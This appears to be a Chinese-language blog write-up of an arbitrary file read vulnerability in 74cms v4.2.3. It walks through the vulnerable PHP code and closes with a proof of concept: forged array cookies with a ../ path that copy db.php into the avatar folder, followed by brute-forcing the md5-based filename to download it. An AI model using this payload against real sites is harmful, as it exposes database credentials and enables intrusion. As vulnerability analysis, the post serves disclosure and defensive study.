74cms v4.2.3前台任意文件读取

因为一直忙学校的事情,很久没发文章了,今天想起来我还有个博客,就随便发一篇吧。

漏洞描述

骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。

74cms在v4.2.3版本中存在前台任意文件读取漏洞,攻击者可以利用此漏洞读取服务器上的敏感文件。

漏洞分析

在/Application/Home/Controller/MembersController.class.php中的第219行:

 if('bind' == I('post.org','','trim') && cookie('members_bind_info')){
                $user_bind_info = object_to_array(cookie('members_bind_info'));
                $user_bind_info['uid'] = $data['uid'];
                $oauth = new \Common\qscmslib\oauth($user_bind_info['type']);
                $oauth->bindUser($user_bind_info);
                $this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换
                cookie('members_bind_info', NULL);//清理绑定COOKIE
            }

这里进入if的条件十分简单,就是我们post的org等于bind,以及我们拥有一个members_bind_info的cookie就好了,然后我们主要是看这个if条件里面的操作:
首先将我们的members_bind_info这个cookie调用object_to_array函数进行了处理,我们看一下这个函数:

在/Application/Common/Common/function.php中第278行:

function object_to_array($obj) {
    $_arr = is_object($obj) ? get_object_vars($obj) : $obj;
    foreach ($_arr as $key => $val) {
        $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val;
        $arr[$key] = $val;
    }
    return $arr;
}

就是将我们的cookie内容转换成数组,转换成数组之后赋值给了$user_bind_info这个变量,然后将$data['uid']赋值给了$user_bind_info['uid'],然后实例化了一个oauth类,并且将$user_bind_info['type']传递给了构造函数,我们看一下这个类:

在/Application/Common/qscmslib/oauth.class.php中:

class oauth {
    private $_type = '';
    private $_setting = array();
    private $_error = '';
    public function __construct($name) {
        $this->_type = $name ? $name : C('qscms_oauth_default');
        //加载登陆接口配置
        if(false === $oauth_list = F('oauth_list')){
            $oauth_list = D('Oauth')->oauth_cache();
        }
        $this->_setting = unserialize($oauth_list[$this->_type]['config']);
        //导入接口文件
        include_once QSCMSLIB_PATH . 'oauth/' . $this->_type . '/' . $this->_type . '.php';
        $om_class = $this->_type . '_oauth';
        $this->_om = new $om_class($this->_setting);
    }

可以看到,这里的$this->_type就是我们传递进来的构造函数的参数$name,这里就包含进一个PHP文件,然后实例化这个文件里的类, 我们找一下,在/Application/Common/qscmslib/oauth/下有三个文件夹,分别是qq,sina,taobao,这里我选择qq吧,也就是说我们的$user_bind_info['type']的值是QQ。

然后又将$user_bind_info['temp_avatar']以及$data['uid']带入到了_save_avatar函数中:

$this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换

我们跟踪一下该函数:

 protected function _save_avatar($avatar,$uid){
        if(!$avatar) return false;
        $path = C('qscms_attach_path').'avatar/temp/'.$avatar;
        $image = new \Common\ORG\ThinkImage();
        $date = date('ym/d/');
        $save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径
        if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true);
        file_put_contents('balisong.txt',time());
        $savePicName = md5($uid.time()).".jpg";
        $filename = $save_avatar.$savePicName;
        $size = explode(',',C('qscms_avatar_size'));
        copy($path, $filename);
        foreach ($size as $val) {
            $image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg");
        }
        M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName);
        @unlink($path);
    }

可以看到将$avatar拼接到了$path变量中,然后将$path copy到了$filename去:

   copy($path, $filename);

那么这个$filename是啥,它的文件名命名规则为:

$savePicName = md5($uid.time()).".jpg";

也就是说是我们传入的第二个参数$data['uid']+time(),然后md5之后得到的值作为文件名,而我们拷贝过去,形成的是一个jpg文件。

那么这里就存在一个任意文件读取的操作了,首先我们的$avatar是从cookie里面取出来的,并且没有进行过滤,也没有限制后缀,直接拼接到了路径中,导致我们可以通过引用../这种跳目录的方式来让这个文件改变,并且copy之后的文件是个图片文件,众所周知,图片文件我们是可以直接下载下来的,所以我们可以控制源文件,然后可以知道目的文件的路径以及名称,那么就可以达到一个任意文件下载的效果。

但是这里有两个问题是我们需要解决的

  1. 如何伪造cookie
  2. 如何知道复制后的文件路径(包括文件名)

第一个问题我们需要知道cookie这个函数到底是怎样工作的,我们看一下定义:

在/ThinkPHP/Common/functions.php中第1356行:

function cookie($name='', $value='', $option=null) {
    // 默认设置
    $config = array(
        'prefix'    =>  C('COOKIE_PREFIX'), // cookie 名称前缀
        'expire'    =>  C('COOKIE_EXPIRE'), // cookie 保存时间
        'path'      =>  C('COOKIE_PATH'), // cookie 保存路径
        'domain'    =>  C('COOKIE_DOMAIN'), // cookie 有效域名
        'secure'    =>  C('COOKIE_SECURE'), //  cookie 启用安全传输
        'httponly'  =>  C('COOKIE_HTTPONLY'), // httponly设置
    );
    // 参数设置(会覆盖黙认设置)
    if (!is_null($option)) {
        if (is_numeric($option))
            $option = array('expire' => $option);
        elseif (is_string($option))
            parse_str($option, $option);
        $config     = array_merge($config, array_change_key_case($option));
    }
    if(!empty($config['httponly'])){
        ini_set("session.cookie_httponly", 1);
    }
    // 清除指定前缀的所有cookie
    if (is_null($name)) {
        if (empty($_COOKIE))
            return null;
        // 要删除的cookie前缀,不指定则删除config设置的指定前缀
        $prefix = empty($value) ? $config['prefix'] : $value;
        if (!empty($prefix)) {// 如果前缀为空字符串将不作处理直接返回
            foreach ($_COOKIE as $key => $val) {
                if (0 === stripos($key, $prefix)) {
                    setcookie($key, '', time() - 3600, $config['path'], $config['domain'],$config['secure'],$config['httponly']);
                    unset($_COOKIE[$key]);
                }
            }
        }
        return null;
    }elseif('' === $name){
        // 获取全部的cookie
        return $_COOKIE;
    }
    $name = $config['prefix'] . str_replace('.', '_', $name);
    if ('' === $value) {
        if(isset($_COOKIE[$name])){
            $value =    $_COOKIE[$name];
            if(0===strpos($value,'think:')){
                $value  =   substr($value,6);
                return array_map('urldecode',json_decode(MAGIC_QUOTES_GPC?stripslashes($value):$value,true));
            }else{
                return $value;
            }
        }else{
            return null;
        }

这里涉及到一个cookie前缀的问题,我们必须要知道这个cookie前缀,但是程序默认是没有设置cookie前缀的,在/ThinkPHP/Conf/convention.php中第36行我们可以看到:

 'COOKIE_PREFIX'         =>  '',      // Cookie前缀 避免冲突

那么这就解决了cookie伪造的问题。

然后接下里就是复制后的文件路径的问题,文件夹都还是比较好找,是在data\upload\avatar\年月\日

目录下。

那么文件名如何获得,文件名上文提到了额是$data['uid']+time()。

首先我们来解决time(),time很简单,直接注册登录一个账号,然后查看头像处的源代码,png?后面那一串就是time(),如图:

好,time()我们能够得到一个大概了(误差不超过几秒),到时候稍微一爆破就搞定,接下来就是$data['uid']了,那么这个$data['uid']我们可以控制么?

答案是肯定的。

我们可以在cookie中指定uid来让我们的uid固定,但是为了不防止跟表里的用户冲突(主键唯一),我们将uid设大一点,比如说6666666。

漏洞证明

首先让文件先拷贝(这里我们拷贝db.php):

http://localhost/74cms42/index.php?m=&c=members&a=register

POST: ajax=1&reg_type=2&utype=2&org=bind&ucenter=bind

COOKIE:

members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php

members_bind_info[type]=qq

members_uc_info[password]=balisong

members_uc_info[uid]=666666

members_uc_info[username]=balisong

这里要加入五个cookie,并且都是以数组的形式的cookie。

其实到这一步文件已经复制好了,我们可以去/data/upload/avatar/年月/日文件夹下去看一下:

比如我利用的时候是2017年6月28日,那么文件夹如下:

data\upload\avatar\1706\28

可以看到,已经有一张图片了:

我们打开看一下这张图片的内容,也确实是db.php的内容。

那么我们如何去url访问到这张图片。

首先我们uid已经固定好了,是666666了,然后我们得到time(),如图:

我这里是1498581147。

然后我们是提前查看的这个time再打的payload,

那么payload的time比这个time是要多的,但是控制在300秒以内。

我们爆破一下就能得到文件名,生成一下字典,然后载入burpsuite开始跑。

得到的是md5(666666.1498581227)==6656852797209251cdfea25fd3b25b96

与上文文件名吻合。我们访问一下:

http://localhost/74cms42/data/upload/avatar/1706/28/6656852797209251cdfea25fd3b25b96.jpg

然后将图像下载保存就可以看到db.php的内容了。

Comments
Write a Comment